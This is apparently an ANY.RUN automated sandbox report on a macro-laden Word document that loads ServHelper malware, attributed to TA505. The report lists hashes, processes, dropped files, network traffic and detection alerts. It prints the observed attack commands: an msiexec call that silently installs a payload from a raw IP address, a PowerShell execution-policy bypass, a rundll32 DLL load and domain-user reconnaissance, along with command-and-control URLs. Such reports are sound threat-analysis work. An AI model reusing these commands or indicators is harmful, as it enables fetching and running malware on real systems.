File name:

649f837279ca38ecc5f736673507b0059c89095950c38cc726087a037b3cd857

Full analysis: https://app.any.run/tasks/9b2e4055-ba90-4190-ac80-003e8a8f1fa2
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: April 15, 2019, 12:55:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
exe-to-msi
trojan
servhelper
ta505
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 69, Name of Creating Application: Microsoft Office Word, Total Editing Time: 11:42:00, Create Time/Date: Thu Mar 21 08:24:00 2019, Last Saved Time/Date: Fri Apr 12 07:41:00 2019, Number of Pages: 1, Number of Words: 50, Number of Characters: 291, Security: 0
MD5:

957A6885D4BFC859D764ECA8D88813B7

SHA1:

097CD810ACC7F6400FF397180D4F99EC39862BB9

SHA256:

649F837279CA38ECC5F736673507B0059C89095950C38CC726087A037B3CD857

SSDEEP:

3072:TZovQV9oNX4gBlyJyrirERdboCVZXSmICju98:y4DoNog/IylMCrKEu98

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3792)
    • Application was dropped or rewritten from another process

      • nsC8CE.tmp (PID: 3876)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1536)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3536)
    • Starts NET.EXE to view/add/change user profiles

      • cmd.exe (PID: 1656)
    • Downloads executable files from IP

      • msiexec.exe (PID: 1536)
    • SERVHELPER was detected

      • rundll32.exe (PID: 3792)
    • Connects to CnC server

      • rundll32.exe (PID: 3792)
    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2416)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2416)
  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1536)
    • Executable content was dropped or overwritten

      • MSIC842.tmp (PID: 2960)
      • msiexec.exe (PID: 1536)
    • Starts CMD.EXE for commands execution

      • nsC8CE.tmp (PID: 3876)
      • rundll32.exe (PID: 3792)
    • Starts application with an unusual extension

      • MSIC842.tmp (PID: 2960)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 3460)
    • Application launched itself

      • WINWORD.EXE (PID: 2416)
    • Starts Microsoft Office Application

      • WINWORD.EXE (PID: 2416)
    • Creates files in the user directory

      • powershell.exe (PID: 1928)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2416)
    • Loads dropped or rewritten executable

      • MSIC842.tmp (PID: 2960)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 1536)
    • Application was dropped or rewritten from another process

      • MSIC842.tmp (PID: 2960)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3936)
      • WINWORD.EXE (PID: 2416)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1536)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: 1
Keywords: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 69
Software: Microsoft Office Word
TotalEditTime: 11.7 hours
CreateDate: 2019:03:21 08:24:00
ModifyDate: 2019:04:12 06:41:00
Pages: 1
Words: 50
Characters: 291
Security: None
Company: -
Lines: 2
Paragraphs: 1
CharCountWithSpaces: 340
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CodePage: Windows Cyrillic
Created: 2018:12:18 00:00:00
LastSaved: 2018:12:18 00:00:00
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
13
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe winword.exe no specs msiexec.exe no specs msiexec.exe msic842.tmp nsc8ce.tmp no specs cmd.exe no specs #SERVHELPER rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1536C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1584"C:\Windows\System32\msiexec.exe" ACX=CHR(10) back=004 error=break /i http://79.141.171.160/alg /q OnExit="c:\windows\notepad.exe" DGH=CHR(13) C:\Windows\System32\msiexec.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1656cmd.exe /C net user /domainC:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1928powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
4294770688
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2416"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\649f837279ca38ecc5f736673507b0059c89095950c38cc726087a037b3cd857.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2688C:\Windows\system32\net1 user /domainC:\Windows\system32\net1.exenet.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\net1.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\dsrole.dll
c:\windows\system32\netutils.dll
2960"C:\Windows\Installer\MSIC842.tmp"C:\Windows\Installer\MSIC842.tmp
msiexec.exe
User:
admin
Company:
pegas
Integrity Level:
MEDIUM
Description:
pegas Application
Exit code:
0
Version:
1.0.2.1
Modules
Images
c:\windows\installer\msic842.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shell32.dll
3460"cmd.exe" /c rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kestC:\Windows\system32\cmd.exensC8CE.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3536cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
4294770688
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3792rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kestC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
Total events
18 050
Read events
8 219
Write events
9 822
Delete events
9

Modification events

(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:>v:
Value:
3E763A0070090000010000000000000000000000
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2416) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1317994526
(PID) Process:(2416) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1317994640
(PID) Process:(2416) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1317994641
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
70090000E008DA8D8AF3D40100000000
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:%x:
Value:
25783A007009000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:%x:
Value:
25783A007009000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2416) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
5
Suspicious files
8
Text files
11
Unknown types
6

Dropped files

PID
Process
Filename
Type
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR2E8F.tmp.cvr
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\query[1].asmx
MD5:
SHA256:
1536msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFA46DFAAAEB1E24D4.TMP
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word\649f837279ca38ecc5f736673507b0059c89095950c38cc726087a037b3cd857.docdocument
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_63EB112A-7F2A-4F88-8618-C08D16B76B7D.0\5D1F9E6C.docdocument
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\ONetConfig\b6419f5bc3093b5f22142ce454e02407.sigbinary
MD5:
SHA256:
2416WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$9f837279ca38ecc5f736673507b0059c89095950c38cc726087a037b3cd857.docpgc
MD5:
SHA256:
3936WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_63EB112A-7F2A-4F88-8618-C08D16B76B7D.0\mso3768.tmpcompressed
MD5:
SHA256:
1928powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FV5DYA5GPPOBDJ7UITXO.temp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
3
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1536
msiexec.exe
GET
200
79.141.171.160:80
http://79.141.171.160/alg
GB
executable
372 Kb
suspicious
3792
rundll32.exe
POST
200
37.252.9.143:80
http://joisff333.icu/jquery/jquery.php
DE
text
22 b
malicious
2416
WINWORD.EXE
GET
200
52.109.76.6:80
http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={019C826E-445A-4649-A5B0-0BF08FCC4EEE}&build=14.0.6023
IE
xml
1.99 Kb
whitelisted
3792
rundll32.exe
POST
200
37.252.9.143:80
http://joisff333.icu/jquery/jquery.php
DE
text
22 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2416
WINWORD.EXE
52.109.8.27:443
rr.office.microsoft.com
Microsoft Corporation
US
whitelisted
2416
WINWORD.EXE
52.109.76.6:80
office14client.microsoft.com
Microsoft Corporation
IE
whitelisted
3792
rundll32.exe
37.252.9.143:80
joisff333.icu
DE
malicious
1536
msiexec.exe
79.141.171.160:80
GB
suspicious

DNS requests

Domain
IP
Reputation
office14client.microsoft.com
  • 52.109.76.6
whitelisted
rr.office.microsoft.com
  • 52.109.8.27
whitelisted
joisff333.icu
  • 37.252.9.143
malicious

Threats

PID
Process
Class
Message
1536
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1536
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1068
svchost.exe
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
3792
rundll32.exe
A Network Trojan was detected
ET TROJAN ServHelper CnC Inital Checkin
3792
rundll32.exe
A Network Trojan was detected
MALWARE [PTsecurity] ServHelper (TA505)
3792
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
3792
rundll32.exe
A Network Trojan was detected
MALWARE [PTsecurity] ServHelper Shell command (TA505)
3792
rundll32.exe
A Network Trojan was detected
ET TROJAN ServHelper CnC Inital Checkin
3792
rundll32.exe
A Network Trojan was detected
MALWARE [PTsecurity] ServHelper (TA505)
3792
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info